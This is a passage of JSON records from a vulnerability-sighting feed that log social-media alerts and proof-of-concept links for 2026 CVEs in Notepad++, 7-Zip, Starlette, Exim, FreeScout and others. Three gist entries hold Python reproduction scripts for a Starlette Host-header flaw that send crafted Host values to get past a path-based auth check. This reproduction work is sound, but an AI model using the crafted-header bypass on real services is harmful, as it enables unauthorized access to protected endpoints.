"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://t.me/bdufstecru/3207", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 shortcuts.xml \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 Notepad++ \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435\u043c \u043c\u0435\u0440 \u043f\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-07494\nCVE-2026-48800\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://notepad-plus-plus.org/news/v8961-released/", "creation_timestamp": "2026-05-29T13:15:04.000000Z"}, {"uuid": "12783acb-c1b7-473a-a722-414c15464cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48097", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mskirptsnh23", "content": "\ud83d\udfe0 CVE-2026-48097 - High (7.8)\n\nNexTor IP Changer is a command-line tool that leverages the Tor network to periodically rotate a ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48097/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-08T07:01:08.023219Z"}, {"uuid": "06f30da8-56dd-4e65-bd1d-5cda2b8cf811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48840", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmyso3nx6e2w", "content": "CVE-2026-48840: Exim 4.99.4: PROXY-protocol uninitialised-stack information disclosure", "creation_timestamp": "2026-05-29T15:04:09.097351Z"}, {"uuid": "181f84c1-b0ec-4f00-bf6c-d4800f998861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48527", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmyuju2ije22", "content": "CVE-2026-48527 - HaxCMS has a stored Cross-Site Scripting (XSS) bypass in saveNode endpoint\nCVE ID : CVE-2026-48527\n \n Published : May 29, 2026, 1:16 p.m. | 1\u00a0hour, 55\u00a0minutes ago\n \n Description : HAX CMS helps manage microsite universe with PHP or NodeJs backends. Versions up...", "creation_timestamp": "2026-05-29T15:37:37.120252Z"}, {"uuid": "db696083-5854-4010-9ab3-05a9275c8dcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mmz4cnayqv2u", "content": "CVE-2026-48710: A Maintainer's Perspective\nDiscussion | lobsters | Author: gi0baro", "creation_timestamp": "2026-05-29T17:56:42.587905Z"}, {"uuid": "af0b9594-8e31-4da4-932a-d971eb0279fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmz4swfbr52b", "content": "\ud83d\udd12 CVE-2026-48710: A Maintainer's Perspective\n\nCVE-2026-48710 describes a Starlette vulnerability where manipulating the `Host` header can cause `request.url.path` to differ from the...\n\nhttps://tinyurl.com/zatfcn8k #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-29T18:05:48.740920Z"}, {"uuid": "d6b7fde2-ba2b-4ce3-ad56-33f0d15764ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/librecanada.bsky.social/post/3mmz6jk3xls2z", "content": "SOC Prime - Article \n\"CVE-2026-48095: 7-Zip Heap Overflow Flaw\"...\n\nsocprime.com/blog/cve-202...\n\n==========================\n#librecanada #linux #opensource", "creation_timestamp": "2026-05-29T18:36:23.514453Z"}, {"uuid": "f126daea-5e18-4a4a-a19f-3e47db29246e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48169", "type": "published-proof-of-concept", "source": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62", "content": "", "creation_timestamp": "2026-05-19T06:35:20.000000Z"}, {"uuid": "e7ac0043-30d8-4f3b-b83e-433a5e78a59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48557", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmzgljjohu2d", "content": "\ud83d\udfe0 CVE-2026-48557 - High (8.8)\n\nSpatie Laravel Media Library before version 11.23.0 contains a file upload restriction bypass in ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48557/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-29T21:00:38.830365Z"}, {"uuid": "67d21ec3-55ba-40e0-8c14-573b4c6c77ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzjls6xuq2q", "content": "CVE-2026-48810 - FreeScout: Thread Edit Authorization Bypass via Missing Mailbox Check\nCVE ID : CVE-2026-48810\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1...", "creation_timestamp": "2026-05-29T21:54:28.143354Z"}, {"uuid": "1a4887e4-52a1-4420-92d6-5ecb807332c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48555", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzjx5wbwy2h", "content": "CVE-2026-48555 - Spatie Laravel Media Library\nCVE ID : CVE-2026-48555\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : Spatie Laravel Media Library before version 11.23.0 contains a server-side request forgery vulnerability that allows remote attackers ...", "creation_timestamp": "2026-05-29T22:00:49.538224Z"}, {"uuid": "d1f9a665-dd63-429f-b1de-c6188464d23c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmzk5ms7vf2l", "content": "\ud83d\udd12 Two RCE vulnerabilities in Notepad++ (CVE-2026-48778, CVE-2026-48800)\n\nTwo high-severity RCE vulnerabilities (CVE-2026-48778, CVE-2026-48800) have been discovered in Notepad++ v8....\n\nhttps://tinyurl.com/mvjtt973 #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-29T22:04:26.702426Z"}, {"uuid": "a2e74140-464d-4558-a87f-94a3e5f79da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmzk5ms7vf2l", "content": "\ud83d\udd12 Two RCE vulnerabilities in Notepad++ (CVE-2026-48778, CVE-2026-48800)\n\nTwo high-severity RCE vulnerabilities (CVE-2026-48778, CVE-2026-48800) have been discovered in Notepad++ v8....\n\nhttps://tinyurl.com/mvjtt973 #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-29T22:04:27.064038Z"}, {"uuid": "321e0508-35df-42a1-b530-31d9ec38bb54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48811", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzk5vpbtf27", "content": "CVE-2026-48811 - FreeScout: Thread Deletion Bypasses Mailbox Access Revocation\nCVE ID : CVE-2026-48811\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.221, ...", "creation_timestamp": "2026-05-29T22:04:36.119200Z"}, {"uuid": "c3f46534-e217-4246-8bdd-69038fc5936d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48557", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzljfya3722", "content": "CVE-2026-48557 - Spatie Laravel Media Library\nCVE ID : CVE-2026-48557\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : Spatie Laravel Media Library before version 11.23.0 contains a file upload restriction bypass in FileAdder::defaultSanitizer(). The sa...", "creation_timestamp": "2026-05-29T22:28:55.737535Z"}, {"uuid": "bb7c428f-9007-4a4f-90e2-0fac2e5174f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48527", "type": "published-proof-of-concept", "source": "https://github.com/haxtheweb/issues/security/advisories/GHSA-g2g8-95qg-v35h", "content": "", "creation_timestamp": "2026-05-21T20:37:15.000000Z"}, {"uuid": "fcd31a4b-0a40-4074-8650-cad6351cab44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmzyyyywj42g", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-69: 19 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 6 interactions\nCVE-2026-48095: 6 interactions\nCVE-2026-39987: 4 interactions\n", "creation_timestamp": "2026-05-30T02:30:17.812492Z"}, {"uuid": "cd00482b-b57e-481c-b69d-3c3ddabab725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48840", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mn2blcnyqd2y", "content": "CVE-2026-48840 - Exim Uninitialized Stack Memory Disclosure Vulnerability\nCVE ID : CVE-2026-48840\n \n Published : May 30, 2026, 2:16 a.m. | 2\u00a0hours, 16\u00a0minutes ago\n \n Description : Exim 4.88 before 4.99.4, in some proxy configurations, mishandles certain short payloads, leading...", "creation_timestamp": "2026-05-30T05:03:42.162587Z"}, {"uuid": "8a6be9f9-1d88-405b-ba06-ab8b21552fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116662972673542121", "content": "Our CTI team identified a lot of activities targeting 7-Zip (CVE-2026-48095) https://vuldb.com/vuln/367180/cti", "creation_timestamp": "2026-05-30T10:08:11.885975Z"}, {"uuid": "c6c1a044-3c53-4bd5-9098-3f02a24ba293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48711", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mn34f42qcq2r", "content": "CVE-2026-47187, CVE-2026-48711: sshfs", "creation_timestamp": "2026-05-30T13:03:24.786791Z"}, {"uuid": "b85644e7-ac35-42c9-af85-1a416bb73429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mn32y62gra2x", "content": "Notepad++ vulnerabilities could enable arbitrary code execution on Windows systems (CVE-2026-48778 and CVE-2026-48800) #patchmanagement", "creation_timestamp": "2026-05-30T12:38:16.819918Z"}, {"uuid": "4380af9d-1075-44e6-b247-85cb54f95220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mn32y62gra2x", "content": "Notepad++ vulnerabilities could enable arbitrary code execution on Windows systems (CVE-2026-48778 and CVE-2026-48800) #patchmanagement", "creation_timestamp": "2026-05-30T12:38:16.965667Z"}, {"uuid": "8afde34c-887f-4fee-b173-92f1f68a51bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48827", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mn33t5ru7f2y", "content": "CVE-2026-48827: Apache MINA SSHD: Path traversal in org.apache.sshd:sshd-git", "creation_timestamp": "2026-05-30T12:53:22.455850Z"}, {"uuid": "3b5d7360-4bf0-4c24-91db-66f39266ce4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48710", "type": "seen", "source": "https://gist.github.com/ftnext/074404c5d80f15c7c37295f2b36e5516", "content": "# https://github.com/ftnext/fastapi-playground/blob/aeda2c2992f446a58bf43f176b31ad523d85715f/starlette-cve-2026-48710-badhost/run_fastapi_app.py\nfrom fastapi import FastAPI, Request\nfrom fastapi.responses import PlainTextResponse\nfrom fastapi.testclient import TestClient\n\napp = FastAPI()\n\n\n@app.middleware(\"http\")\nasync def auth_middleware(request: Request, call_next):\n    print(f\"{request.url=}, {request.url.path=}\")\n    if request.url.path == \"/\":\n        return await call_next(request)\n    return PlainTextResponse(\"Forbidden\\n\", status_code=403)\n\n\n@app.get(\"/\")\nasync def root():\n    return PlainTextResponse(\"Hello, world\\n\")\n\n\n@app.get(\"/admin\")\nasync def admin():\n    return PlainTextResponse(\"secret=123\\n\")\n\n\nclient = TestClient(app)\n\nres1 = client.get(\"/admin\", headers={\"Host\": \"foo\"})\nassert res1.status_code == 403, f\"{res1.text=}\"\nres2 = client.get(\"/admin\", headers={\"Host\": \"foo/?\"})\nassert res2.status_code == 403, f\"{res2.text=}\"\n", "creation_timestamp": "2026-05-30T13:26:41.000000Z"}, {"uuid": "56ba7423-78aa-45fb-af7c-4760e111e4d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48710", "type": "seen", "source": "https://gist.github.com/ftnext/5e100b157e57e68e4c1aee0f43da8593", "content": "# https://github.com/ftnext/fastapi-playground/blob/aeda2c2992f446a58bf43f176b31ad523d85715f/starlette-cve-2026-48710-badhost/run_starlette_app.py\nfrom starlette.applications import Starlette\nfrom starlette.middleware import Middleware\nfrom starlette.middleware.base import BaseHTTPMiddleware\nfrom starlette.responses import PlainTextResponse\nfrom starlette.routing import Route\nfrom starlette.testclient import TestClient\n\n\nclass AuthMiddleware(BaseHTTPMiddleware):\n    async def dispatch(self, request, call_next):\n        print(f\"{request.url=}, {request.url.path=}\")\n        if request.url.path == \"/\":\n            return await call_next(request)\n        return PlainTextResponse(\"Forbidden\\n\", status_code=403)\n\n\nasync def root(request):\n    return PlainTextResponse(\"Hello, world\\n\")\n\n\nasync def admin(request):\n    return PlainTextResponse(\"secret=123\\n\")\n\n\nroutes = [\n    Route(\"/\", endpoint=root),\n    Route(\"/admin\", endpoint=admin),\n]\napp = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])\n\nclient = TestClient(app)\n\nres1 = client.get(\"/admin\", headers={\"Host\": \"foo\"})\nassert res1.status_code == 403, f\"{res1.text=}\"\nres2 = client.get(\"/admin\", headers={\"Host\": \"foo/?\"})\nassert res2.status_code == 403, f\"{res2.text=}\"\n", "creation_timestamp": "2026-05-30T13:28:23.000000Z"}, {"uuid": "b2a75a7b-5e7e-4257-94fc-5fc1430a8af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48710", "type": "seen", "source": "https://gist.github.com/ftnext/024e0a57b95821714e2c6081d3e6d533", "content": "# https://github.com/ftnext/fastapi-playground/blob/eb6dd9b7861ced2168a24d7c27647af0e4b5f175/starlette-cve-2026-48710-badhost/run_starlette_app.py\n# https://x41-dsec.de/lab/advisories/x41-2026-002-starlette/\nfrom starlette.applications import Starlette\nfrom starlette.middleware import Middleware\nfrom starlette.middleware.base import BaseHTTPMiddleware\nfrom starlette.responses import PlainTextResponse\nfrom starlette.routing import Route\nfrom starlette.testclient import TestClient\n\n\nclass AuthMiddleware(BaseHTTPMiddleware):\n    async def dispatch(self, request, call_next):\n        print(f\"{request.url=}, {request.url.path=}\")\n        if request.url.path == \"\" or request.url.path == \"/\":\n            return await call_next(request)\n        return PlainTextResponse(\"Forbidden\\n\", status_code=403)\n\n\nasync def root(request):\n    return PlainTextResponse(\"Hello, world\\n\")\n\n\nasync def admin(request):\n    return PlainTextResponse(\"secret=123\\n\")\n\n\nroutes = [\n    Route(\"/\", endpoint=root),\n    Route(\"/admin\", endpoint=admin),\n]\napp = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])\n\nclient = TestClient(app)\n\nres1 = client.get(\"/admin\", headers={\"Host\": \"foo\"})\nassert res1.status_code == 403, f\"{res1.text=}\"\nres2 = client.get(\"/admin\", headers={\"Host\": \"foo?\"})\nassert res2.status_code == 403, f\"{res2.text=}\"\n", "creation_timestamp": "2026-05-30T13:29:46.000000Z"}, {"uuid": "97779784-873f-41db-af99-e034cb2924a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://t.me/GithubRedTeam/86539", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48778-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kavin-jindal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-30 12:16:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-30T13:00:04.000000Z"}, {"uuid": "aae196ef-be22-48b0-9c42-8649498dfe7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpacketai.bsky.social/post/3mn3lcde6sc2s", "content": "Critical LiteSpeed cPanel plugin flaw (CVSS 10.0) actively exploited in the wild\u2014allows any user to run scripts as root. Patch urgently if you're using cPanel with LiteSpeed.\n\nhttps://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html\n\n#cybersecurity #infosec", "creation_timestamp": "2026-05-30T17:30:17.820651Z"}, {"uuid": "6e353b71-8f56-46e0-bab5-5466479b08fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://t.me/GithubRedTeam/86575", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48778\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a XK3NF4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-30 17:52:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNotepad++ RCE via config.xml commandLineInterpreter\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-30T18:00:04.000000Z"}, {"uuid": "e21227da-aaa1-48de-afda-d908512fbc23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48527", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mn45s4mkta2s", "content": "\ud83d\udfe0 CVE-2026-48527 - High (8.7)\n\nHAX CMS helps manage microsite universe with PHP or NodeJs backends. Versions up to and including...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48527/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-30T23:01:15.705522Z"}, {"uuid": "2de5fcb9-215f-4dfe-8482-bc060fb31634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mn4jisrb4f2i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-0257: 17 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0257: 14 interactions\nCVE-2026-21852: 3 interactions\nCVE-2026-39987: 3 interactions\n", "creation_timestamp": "2026-05-31T02:30:47.514995Z"}, {"uuid": "c195f008-42d8-4cac-97d3-d1dffe6f8a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://t.me/GithubRedTeam/86625", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48800-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kavin-jindal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-31 05:06:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-31T05:06:53.000000Z"}, {"uuid": "73baa8f0-12ce-4b37-8fb3-4613083b6ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mn57tiswik2y", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root\n\nthehackernews.com/2026/05/lite...\n\n#Cybersecurity #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-31T09:10:30.737997Z"}, {"uuid": "59650e00-eecc-4980-a1f4-08c3d702ff7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mn5g2skrze2d", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-4885 Piotnet Addons for Elementor\u00a0Pro\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\n\u3053\u306e\u8106\u5f31\u6027\u306f\u3001WordPress\u7528\u306ePiotnet Addons for Elementor Pro\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5b58\u5728\u3057\u3001\u3059\u3079\u3066\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\uff087.1.70\u3092\u542b\u3080\uff09\u3067\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7\u306e\u691c\u8a3c\u304c\u6b20\u5982\u3057\u3066\u3044\u308b\u305f\u3081\u3001", "creation_timestamp": "2026-05-31T11:01:56.114414Z"}, {"uuid": "a799bd91-e057-4a6c-a938-abaaf2cf92e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48726", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mn5p22goqz2j", "content": "CVE-2026-48726: Apache Airflow: revoke_token() unreachable in FabAuthManager / KeycloakAuthManager 